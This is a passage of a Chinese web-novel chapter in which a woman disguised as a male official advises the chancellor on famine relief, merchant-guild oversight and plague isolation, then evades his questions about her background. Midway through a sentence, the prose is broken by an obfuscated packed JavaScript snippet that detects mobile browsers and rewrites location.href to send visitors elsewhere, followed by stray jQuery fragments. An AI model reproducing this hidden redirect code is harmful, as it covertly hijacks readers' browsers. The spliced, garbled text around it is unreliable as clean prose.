8. 8%嗯哼
作品:《新科状元是女郎》 但是就算如此,真要落实,期间困扰还是不多,其中容砚就提出来了最为至关重要的一个现实问题。
“以工代赈?倒是个新鲜法子。”容砚的声音带着几分讶异,他从窗前转身,月白锦袍的下摆轻轻扫过青石板地面,暗纹竹叶在晨光中若隐若现。
他走到沈知意对面的太师椅上坐下,身体微微前倾,手肘撑在桌沿,指尖轻轻交叠,目光紧紧锁在沈知意脸上,带着几分认真的探究。
“可灾区混乱,人心浮动,粮草发放本就难以监管,若有地方官员趁机从中克扣,中饱私囊,岂不是又生事端,反而寒了灾民的心,甚至可能引发民变?”
这正是沈知意早已反复推敲过的关键。
她深吸一口气,抬眸迎上容砚的目光,他的瞳孔深邃,像藏着一汪深潭,往日里的锐利被此刻的专注取代,只剩对对策本身的关切。
沈知意的心跳稳了几分,眼神清亮如晨露,语气坚定:“丞相所言极是,这正是此策能否推行的关键,臣以为,可联合江南商会参与其中。”
她顿了顿,指尖轻轻点了点桌上的灾区舆图,继续说道:“江南商会在地方经营多年,根基深厚,不仅熟悉粮草周转的渠道,还能凭借自身信誉约束地方势力,
他们若参与,定会盯着粮草动向,不愿让官员克扣影响自己的名声与利益,具体而言,可让商会负责粮草的采购与发放,
朝廷再派专员全程监督,同时邀请当地有声望的乡绅共同见证,形成三方制衡。”
“商会逐利,朝廷可许其灾后减免半年商税,作为合作的回报;乡绅重名,可由陛下赐‘乡贤’匾额表彰,满足其声望需求。”
沈知意的声音清晰而沉稳,“如此一来,三方各有所得,又相互牵制,官员即便有克扣之心,也无从下手,克扣之事自然难有发生的余地。”
容砚心中大为震动,手中的茶杯微微一顿,温热的茶汤晃出细小的涟漪。
他自执掌朝政以来,见过不少自诩有识之士的官员,有的空有理论不懂实务,把赈灾说得天花乱坠却无半分可行之法;有的只知迎合上意,顺着他的话头附和,毫无自己的见解。
可沈知意不同,她不仅能提出“以工代赈”的核心策略,还能将后续的风险,各方的利益诉求都考虑得如此周全,连制衡之法都想得明明白白,这份通透与务实,远超同龄官员,甚至让一些老臣都望尘莫及。
他端起茶杯抿了一口,借着饮茶的动作掩饰眼底的波澜,语气却比先前温和了许多,连称呼都多了几分亲近。
“知意兄的想法,确实比朝堂上那些只论立场,不论实务的空论高明得多,
只是江南商会向来与官府疏远,素来不愿卷入政务,生怕被朝廷拿捏把柄,如何能让他们心甘情愿参与这场赈灾,而非阳奉阴违?”
“丞相只需派一得力之人,持陛下手谕前往江南便可。”沈知意从容应答,目光落在舆图上江南的区域。
“可向商会言明,此次赈灾若成,朝廷将借机整顿江南商税,去除过往的苛捐杂税,那些巧立名目的‘车马税’‘仓储税’,一直是商会的心头之患。
商会深知‘唇亡齿寒’之理,灾民流离失所,市井萧条,最终受损的还是他们的生意,这般既能解救灾民,又能为自己谋利的互利之事,他们断不会拒绝。”
容砚凝视着沈知意,晨光透过窗棂落在她脸上,驱散了她刻意抹黑的粗糙感,露出几分原本的细腻。
她的睫毛很长,垂落时在眼下投出一小片阴影,侧脸线条柔和,可眼神却异常坚定,透着对政务的热忱与对灾民的真切关切。
这副模样,让他心中那股异样的感觉再次翻涌,他欣赏这样的才华,敬佩这样的仁心,可对方明明是沈渊的儿子,是敌对阵营的人,这份欣赏却渐渐掺杂了难以言喻的在意。
他甚至忍不住想,若沈知意不是沈渊的子嗣,若他们没有站在朝堂的对立面,或许他们能成为知己,能一起为这江山百姓做更多实事,不必像如今这般,处处试探,步步设防。
这个念头刚冒出来,就被他强行压下,他是丞相,是朝堂博弈的核心,不该有如此天真的想法。
“知意兄所言极是,本相明日便向陛下举荐此策,想必陛下也会赞同。”容砚收回目光,端起茶杯又抿了一口,试图用茶汤的温热压下心中的烦躁。
“只是还有一事棘手,据前方急报,灾区已有瘟疫蔓延的苗头,不少灾民出现发热,咳嗽的症状,而当地药材短缺,许多郎中都已逃离,再拖延下去,恐会酿成大祸。此事该如何应对,才能有效遏制疫情?”
谈及瘟疫,沈知意的神色瞬间凝重了几分。
她曾在父亲的书房里读过《瘟疫论》,书中记载的“尸骨遍野,十室九空”的惨状,至今仍让她心有余悸。
她指尖攥紧了衣摆,指节微微泛白,声音低沉了些:“臣以为,需提前做好三项准备,防患于未然,切不可等到瘟疫大规模扩散再行动。”
“其一,在临时安置点外开辟隔离区,派士兵把守,一旦发现发热,咳嗽的病患,即刻隔离治疗,避免交叉感染;
其二,派太医院经验丰富的医官前往灾区,不仅要治疗病患,还要教授灾民煮艾草水消毒,勤洗手脸的法子,从日常习惯阻断病毒传播;
其三,令全国药商平价供应药材,尤其是治疗发热,消炎的甘草,柴胡,金银花等草药,朝廷先行垫付药款,日后从他们的商税中抵扣,确保药材能及时运抵灾区,不被囤积抬价。”
她语速不快,却条理清晰,每一条建议都切中要害,甚至连执行细节都考虑得面面俱到,比如隔离区要远离水源,消毒用的艾草需由官府统一发放,避免灾民自行采摘有毒的野草。
容砚越听越觉得心惊,沈知意不过二十出头,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730421|189640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从未涉足地方实务,却能对赈灾,防疫之事有如此深刻的见解,有些想法连他这个浸淫朝政多年的老臣都未曾考虑到。
“知意兄年纪轻轻,竟有如此见识,着实难得。”他忍不住赞叹,语气里满是真诚,没有了半分试探的意味。
“本相倒是好奇,你这些想法,都是从书中看来的?还是曾有过相关的经历,或是受了哪位高人指点?”
这话像一根细针,瞬间刺破了沈知意的镇定,让她心头一紧。
她女扮男装入仕,从未真正接触过地方政务,这些想法多是源于父亲平日的教诲,父亲在工部任职多年,常与地方官员打交道,深知其中的弊病;
再加上她在书房中对历代赈灾案例的推演,才形成了如今的思路,可这些都不能说,
若是容砚继续追问细节,比如如何协调医官与地方官员的关系,如何确保药商不会阳奉阴违,她难免会露出破绽,毕竟纸上谈兵与实际执行,终究隔着一道鸿沟。
“不过是平日里读书时胡乱琢磨的,偶尔与家父谈及民生,听他说过些地方事务的难处,侥幸能派上用场罢了。”
她刻意说得轻描淡写,目光转向桌上的宣纸,避开了容砚探究的视线,指尖无意识地摩挲着纸页边缘,试图掩饰内心的慌乱。
她能感觉到,容砚的目光正落在她脸上,仿佛要穿透她的伪装,看清她的真实想法。
容砚何等敏锐,自然察觉到了她的回避,那瞬间僵硬的肩线,躲闪的目光,微微收紧的指尖,都在说明她不愿深谈这个话题。
但他没有追问,反而笑了笑,语气带着几分纵容,像是没察觉到她的局促:“胡乱琢磨便能有如此见地,可见知意兄天资过人,远超同龄人。
本相倒是盼着,日后能常与知意兄这般对谈,共同为朝廷分忧,为百姓谋福。”
然而,正是因为容砚这句轻描淡写的话语,却让沈知意心底顿时警铃大作,后背瞬间冒出一层薄汗。
沈知意知道,他口里的“常与这般对谈”,看似轻描淡写,但是却无疑是想拉近两人的关系,可她是沈渊的女儿,是伪装的男子,一旦走得太近,秘密迟早会被揭穿。
更重要的是,父亲反复叮嘱她要远离容砚,若是被父亲知道她与容砚“常对谈”,不知会有多担心。
她立刻起身拱手,动作带着几分仓促,语气却尽量保持平稳:“丞相抬爱,臣不敢当!
时辰不早,臣还要回翰林院处理陛下交办的文书,若是耽搁了,恐会误了公务,臣先行告辞,日后若有关于赈灾之事的需要,臣定当尽力配合。”
她生怕再待下去,会被容砚看出更多破绽,也怕自己会因为这份难得的欣赏而动摇立场。
父亲的叮嘱还在耳边,容砚是敌非友,任何一丝松懈,都可能让自己万劫不复。
容砚看着她仓促起身的模样,眼底闪过一丝笑意。

